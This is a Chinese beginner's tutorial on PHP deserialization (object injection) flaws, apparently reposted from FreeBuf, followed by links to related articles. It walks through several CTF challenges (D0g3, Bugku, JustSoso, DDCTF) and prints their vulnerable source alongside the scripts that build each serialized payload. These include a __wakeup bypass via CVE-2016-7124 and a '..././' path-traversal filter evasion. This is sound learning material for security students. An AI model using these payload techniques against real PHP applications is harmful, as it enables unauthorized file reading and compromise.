代码编织梦想

前言

最近才开始学习安全,虽然练习过南邮CTF和Bugku的CTF,但是打各种线上CTF经常不尽人意,因为最近的比赛都有着一个新手入门CTF不常遇到的考点—————反序列化。

看了很多师傅们,各种前辈们的文章,于是想着总结一下已经学到的东西

在我当时PHP基本功不怎么扎实的时候,看反序列化就是一脸懵逼,所以我认为在接触反序列化漏洞之前需要掌握以下内容

看了上面的文章应该就会了类与对象,一些魔术方法(比较重要的有 __wakeup(),__construct(), __destruct(), __toString()

序列化与反序列化

为什么要进行序列化与反序列化?

起初也是很不理解为什么要费劲周章的去序列化然后反序列化回来,还多了一步操作,看了各种文章,举了各种栗子,无非都是想告诉我们: 序列化的目的是方便数据的传输和存储

再附上网上看到的一段话PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦

什么是序列化和反序列化?

序列化

关键函数 serialize():将PHP中创建的对象,变成一个字符串<?php

class test{

public $name = 'P2hm1n';

private $sex = 'secret';

protected $age = '20';

}

$test1 = new test();

$object = serialize($test1);

print_r($object);

?>

eb615b22cb979f1d2b7f97311b69bcb4.png

经过查阅资料我们发现

private属性序列化的时候格式是 %00类名%00成员名

protected属性序列化的时候格式是 %00*%00成员名

反序列化

关键函数 unserialize():将经过序列化的字符串转换回PHP值<?php

$object = '经过序列化的字符串';

$test = unserialize($object1);

print_r($test3);

?>

注意:当有 protected 和 private 属性的时候记得补齐空的字符串

为什么会产生反序列化漏洞?

PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的

需要具备反序列化漏洞的前提:必须有 unserailize() 函数

unserailize() 函数的参数必须可控(为了成功达到控制你输入的参数所实现的功能,可能需要绕过一些魔法函数

下面写一个小栗子<?php

class test{

public $target = 'this is a test';

function __destruct(){

echo $this->target;

}

}

$a = $_GET['b'];

$c = unserialize($a);

?>

c2aee658240facde10d416d0eea63420.png

上面的栗子就具备了利用反序列化漏洞的前提,因为存在 echo 的原因,我们还可以直接利用xss<?php

class test{

public $target = '';

}

$a = new test();

$a = serialize($a);

echo $a;

?>

1ab7b34a29dd2a2b68a95d0328561319.png

很简单的栗子

D0g3平台

一道实验室师傅们出的题:

题目直接给了源码<?php

error_reporting(0);

include "flag.php";

$KEY = "D0g3!!!";

$str = $_GET['str'];

if (unserialize($str) === "$KEY")

{

echo "$flag";

}

show_source(__FILE__);

我们可以看到判断条件 unserialize($str) === "$KEY"就会输出flag,且具备了反序列化漏洞的一条:有 unserialize()函数,那么寻找str参数是否可控,向上寻找发现 $str = $_GET['str']; ,通过 GET 型传参,参数可控。这里也就具备了反序列化的两个条件,所以我们直接构造<?php

$KEY = "D0g3!!!";

echo serialize($KEY)

?>

070a3d60bb4950c540c1260722b1f5bd.png

Bugku-welcome to the bugkuctf

07a57b5e4b2496c216a388d37b70399a.png

在经历了前面的php伪协议的考点之后,经过base64解码拿到了两个源码

index.php<?php

$txt = $_GET["txt"];

$file = $_GET["file"];

$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){

echo "hello friend!
";

if(preg_match("/flag/",$file)){

echo "不能现在就给你flag哦";

exit();

}else{

include($file);

$password = unserialize($password);

echo $password;

}

}else{

echo "you are not the number of bugku ! ";

}

?>

hint.php<?php

class Flag{//flag.php

public $file;

public function __tostring(){

if(isset($this->file)){

echo file_get_contents($this->file);

echo "
";

return ("good");

}

}

}

?>

观察到危险函数 unserialize(),跟进一下 hint.php 里有有一个 file_get_contents()函数,可以读取到文件,那么我们只需要观察file是否可控便可轻松解题

因此我们只需要控制 $this->file 就能读到我们想要的文件<?php

class Flag{//flag.php

public $file = 'flag.php';

}

$a = new Flag();

$a = serialize($a);

echo $a;

?>

当然这道题不只考了反序列化,还需要一些其他操作才能拿到flag

c924ff25c5fc19298083ad247a841b40.png上面的简单栗子都是直接可以通过序列化生成相应的payload然后再反序列化之后实现功能,但是通常不会这么简单的就让你利用成功,所以需要掌握下面的一些东西

一些魔术方法

在绕过魔术方法之前我们需要了解一些魔术方法的运行机制————PHP之十六个魔术方法详解

需要了解一下相对于来说重要函数的运行先后顺序<?php

class test{

public $name = 'P2hm1n';

function __construct(){

echo "__construct()";

echo "
";

}

function __destruct(){

echo "__destruct()";

echo "
";

}

function __wakeup(){

echo "__wakeup()";

echo "
";

}

function __toString(){

return "__toString()"."
";

}

function __sleep(){

echo "__sleep()";

echo "
";

return array("name");

}

}

$test1 = new test();

$test2 = serialize($test1);

$test3 = unserialize($test2);

print($test3);

?>

9f352f3d37cb2665d55cdc8fc7069817.png

可以绕过的__weakup()

实际上是一个CVE漏洞,CVE-2016-7124。当成员属性数目大于实际数目时会跳过__wakeup的执行。

盘点近期两道有关反序列化题

第12届全国大学生信息安全竞赛-JustSoso

PHP伪协议+base64解码得到两个文件

index.php

error_reporting(0);

$file = $_GET["file"];

$payload = $_GET["payload"];

if(!isset($file)){

echo 'Missing parameter'.'
';

}

if(preg_match("/flag/",$file)){

die('hack attacked!!!');

}

@include($file);

if(isset($payload)){

$url = parse_url($_SERVER['REQUEST_URI']);

parse_str($url['query'],$query);

foreach($query as $value){

if (preg_match("/flag/",$value)) {

die('stop hacking!');

exit();

}

}

$payload = unserialize($payload);

}else{

echo "Missing parameters";

}

?>

hint.php<?php

class Handle{

private $handle; //__destruct中被调用从而调用getFlag()

public function __wakeup(){

foreach(get_object_vars($this) as $k => $v) { //循环打印,赋值为空

$this->$k = null;

}

echo "Waking up\n";

}

public function __construct($handle) {

$this->handle = $handle;

}

public function __destruct(){

$this->handle->getFlag(); //调用 Flag 类里面的getFlag方法

}

class Flag{

public $file;

public $token;

public $token_flag;

function __construct($file){

$this->file = $file;

$this->token_flag = $this->token = md5(rand(1,10000)); //一到一万产生的随机数经过md5加密

}

public function getFlag(){ //被handle调用

$this->token_flag = md5(rand(1,10000));

if($this->token === $this->token_flag) //两者必须相等

{

if(isset($this->file)){

echo @highlight_file($this->file,true);

}

}

}

}

$echof = new Flag();

$Flag->file = "flag.php";

$echoflag = new Handle($echof);

echo serialize($echoflag);

?>

在粗略的看了一下两个文件之后,可能会有点乱(当时的我头脑是很乱的),但是我们只需要明确我们打CTF的目的就是拿到flag...

梳理一下思路如下

index.php文件干了什么事?

GET型传入两个参数 (那么传入的两个参数一定是有用的,通常出题人不会闲得蛋疼多设置几个没用的参数

file不能包含flag关键字

如果设置了payload的话,url被切割,且循环遍历匹配flag关键字,匹配到了就退出

payload被unserialize()了~payload被unserialize()了~payload被unserialize()了~

hint.php文件干了什么事?

既然都叫hint.php了那么hint.php一定大有作为...

纵观 hint.php 包含两个类

其中的一个类叫 Flag,甚至类里有个方法叫getFlag(),所以我们明确我们的目标就是它

打CTF一定要知道自己在干什么,所以先不管其他的,我们只谈反序列化,然后构造payload这个参数

所以在抛弃一切前提下,我们甚至可以构造payload出来<?php

//假装有两个class

class{

}

class{

}

$echof = new Flag();

$Flag->file = "flag.php";

$echoflag = new Handle($echof);

echo serialize($echoflag);

?>

现在的我们已经能够输出flag了,我们看一下还存在哪些障碍?

输出flag的前提

echo @highlight_file($this->file,true);前有一个判断:$this->token === $this->token_flag

而 $this->token 的值是不会变的,但是 $this->token_flag却会改变

这里有两种思路,其一是爆破,其二是用引用变量来解决这个问题 $Flag->token = &$Flag->token_flag;

__wakeup()每次打印为空?

重点到了,利用本文前面的CVE-2016-7124。当成员属性数目大于实际数目时会跳过__wakeup的执行。这样能让 Handle类成功调用 Flag类中的方法

我们的关键词不能有flag?

经过反序列化也罢,我们的关键词始终会含有flag词语,会被正则匹配到...

这里可以使用parse_url的解析漏洞,具体的可以看看 一叶飘零师傅的文章 和 另一位师傅的文章

大概是parse_url() 是专门用来解析 URL 而不是 URI 的。不过为遵从 PHP 向后兼容的需要有个例外,对 file:// 协议允许三个斜线(file:///…)。其它任何协议都不能这样。

所以使用三个斜线的话就不会被检测到关键词

其实其他考点都是可以绕过的,最主要的反序列化思想的核心,我认为经过反序列化,有了可以控制的参数之后,就一定要完成某部分的功能,不是为了反序列化而反序列化

DDCTF-Web签到题

经过信息泄露,抓包等会拿到两个源码...

文件1:Application.php

代码太长了,简化一下有用的功能如下:Class Application {

var $path = '';

private function sanitizepath($path) {

$path = trim($path);

$path=str_replace('../','',$path);

$path=str_replace('..\\','',$path);

return $path;

}

public function __destruct() {

if(empty($this->path)) {

exit();

}else{

$path = $this->sanitizepath($this->path);

if(strlen($path) !== 18) {

exit();

}

$this->response($data=file_get_contents($path),'Congratulations');

}

exit();

}

}

文件一大概是对 $path 变量做了一些处理;如:前后去空,并且移除了 ../和 ..\

如果长度小于18的话能够读取 $path 变量的文件的内容,能够读取 $path 变量的文件的内容,能够读取 $path 变量的文件的内容

因此我们构造初步的payload (其实结合了一些文件2的信息才能构造路径)为:../config/flag.txt,但是此时需要绕过文件一中的一个 str_replace() 函数,且长度要小于18,故而再次构造为 ..././config/flag.txt (需要注意的是此刻的长度虽然是21,但是经过一次前面的 str_replace() 替换 ../ 为空之后,长度就刚好为18

文件2:app/Session.php//url:app/Session.php

include 'Application.php'; //包含文件一

class Session extends Application {

//key建议为8位字符串

var $eancrykey = '';

var $cookie_expiration = 7200;

var $cookie_name = 'ddctf_id';

var $cookie_path = '';

var $cookie_domain = '';

var $cookie_secure = FALSE;

var $activity = "DiDiCTF";

public function index()

{

if(parent::auth()) { //通过parent::调用父类方法

$this->get_key();

if($this->session_read()) {

$data = 'DiDI Welcome you %s';

$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);

parent::response($data,'sucess');

}else{

$this->session_create();

$data = 'DiDI Welcome you';

parent::response($data,'sucess');

}

}

}

private function get_key() {

//eancrykey and flag under the folder

$this->eancrykey = file_get_contents('../config/key.txt'); //flag可能也在这个文件夹里面

}

public function session_read() {

if(empty($_COOKIE)) {

return FALSE;

}

$session = $_COOKIE[$this->cookie_name];

if(!isset($session)) {

parent::response("session not found",'error');

return FALSE;

}

$hash = substr($session,strlen($session)-32);

$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {

parent::response("the cookie data not match",'error'); //通过parent::调用父类方法

return FALSE;

}

$session = unserialize($session); //反序列化

if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){

return FALSE;

}

if(!empty($_POST["nickname"])) { //POST的不为空

$arr = array($_POST["nickname"],$this->eancrykey);

$data = "Welcome my friend %s";

foreach ($arr as $k => $v) { //打印变量

$data = sprintf($data,$v); //输出

}

parent::response($data,"Welcome");

}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {

parent::response('the ip addree not match'.'error');

return FALSE;

}

if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {

parent::response('the user agent not match','error');

return FALSE;

}

return TRUE;

}

private function session_create() {

$sessionid = '';

while(strlen($sessionid) < 32) {

$sessionid .= mt_rand(0,mt_getrandmax());

}

$userdata = array(

'session_id' => md5(uniqid($sessionid,TRUE)),

'ip_address' => $_SERVER['REMOTE_ADDR'],

'user_agent' => $_SERVER['HTTP_USER_AGENT'],

'user_data' => '',

);

$cookiedata = serialize($userdata); //序列化

$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);

$expire = $this->cookie_expiration + time();

setcookie(

$this->cookie_name,

$cookiedata,

$expire,

$this->cookie_path,

$this->cookie_domain,

$this->cookie_secure

);

}

}

$ddctf = new Session();

$ddctf->index();

?>

我们回顾一下反序列化执行的方法:必须有 unserailize() 函数,

unserailize() 函数的参数必须可控

首先映入眼帘的是文件二中第55行的 $session = unserialize($session); 这一步执行了危险函数 unserialize()

文件一被包含进文件二,因此可以利用文件一中 __destruct()来执行文件读取的功能。

结合有用的信息,就是通过 session 的反序列化来控制 $path 变量进而得到 flag,第34行的注释//eancrykey and flag under the folder提供了相应的位置

因此我们通过控制 $path 变量可以获取到flag,控制 $path 需要通过反序列化。

但是这道题还有其他的考点,因为需要伪造一个cookie才能拿到相应的 key 才能进行反序列化。

因为单谈反序列化,所以我们简化一下本题。构造最终payload为<?php

Class Application {

var $path = '..././config/flag.txt';

}

$a = new Application();

$a = serialize($a);

print_r($a);

?>

反序列化还有什么?

下面两个因为也只是略懂,还没有深入研究,所以就不继续写了,附上两篇当初学习的文章

本文参考自:

*本文作者:P2hm1n,转载请注明来自FreeBuf.COM

四个实例递进理解php反序列化漏洞_烟敛寒林o的博客-爱代码爱编程

0x00  D0g3 为了让大家进入状态,来一道简单的反序列化小题。 题目入口:http://120.79.33.253:9001 页面源码 <?php error_reporting(0); include "flag.php"; $KEY = "D0g3!!!"; $str = $_GET['str']; if (unserialize(

typecho反序列化漏洞复现_htjoker的博客-爱代码爱编程

0x01前言 再杭州西湖线下打AWD的时候web1就是这个漏洞,在这里复现一下,刚好巩固一下前几天学习的反序列化漏洞。 0x02漏洞分析 这是一个由unserialize()导致的一个反序列化漏洞,全局搜索unseri

php反序列化漏洞总结_无在无不在的博客-爱代码爱编程_php反序列化漏洞

目录 0x00 为什么需要序列化和反序列化? 0x01 相关函数 0x02 相关魔术方法: 0x03 反序列化漏洞例题 0x04 序列化的一些注意点: 0x05 PHP Bug 72663 0x06 PHP BUG 71101 0x07 Phar 反序列化 其他例题: 0x00 为什么需要序列化和反序列化? 分布式架构的项目,往往具

php反序列化漏洞基础入门-爱代码爱编程

反序列化详解 什么是php反序列化 序列化是php用来打包传输数据的一种方式,就像是货物运输时将大的货物拆卸成小的货物,然后传输到了规定的地点之后在进行拼装的过程,反序列化就是从小物件来进行拼装的过程,整体围绕着se

PHP序列化之Session反序列化漏洞-爱代码爱编程

本文内容主要是出各位师傅那里获取来的,主要是用于记录学习,和自己的一些心得体会。 Session反序列化漏洞 要了解这个漏洞必须知道Session序列化机制。PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 配置文件php.ini中含有这几个与session存储配置相关的配置项: session.save_path="

【Web】反序列化漏洞【持续更新中】-爱代码爱编程

PHP反序列化漏洞 目录 PHP反序列化漏洞什么是序列化什么是反序列化相关函数serialize()unserialize()魔术方法反序列化漏洞绕过__wakeup()__wakeup()绕过__wakeup()_toString魔术方法总结phar反序列化phar文件结构利用phar://伪协议进行攻击POP链Session反序列化漏洞安全问

反序列化漏洞分析讲解-爱代码爱编程

一、什么是反序列化 1.1 漏洞简介 PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存

Apache Commons Collections反序列化漏洞分析与复现-爱代码爱编程

 聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析、漏洞复现。 1.2 漏洞分析 存在安全缺陷的版本:Apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache Maven 3.6.3。 POC核心代码: package com.patrilic.vul

php反序列化注入,PHP反序列化由浅入深-爱代码爱编程

0x00 PHP序列化是什么 两个函数 serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象 通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。 示例 序列化 class te

ctf赛题上传一个php木马,从一道CTF题学习PHP反序列化漏洞-爱代码爱编程

一、CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下。 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入目的,废话不多说,主要源码如下: class SoFun{ protected $file='index.php'; function __de

ctf题php反序列化,从一道CTF题中学习php反序列化与伪协议-爱代码爱编程

之前一直有想写关于反序列化的东西,可是一直拖拖拖,拖到了现在。 本文尝试从ZJCTF2019中的例题来了解何为php反序列,以及php伪协议。 原题:逆转思维1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20$text = $_GET["text"]; $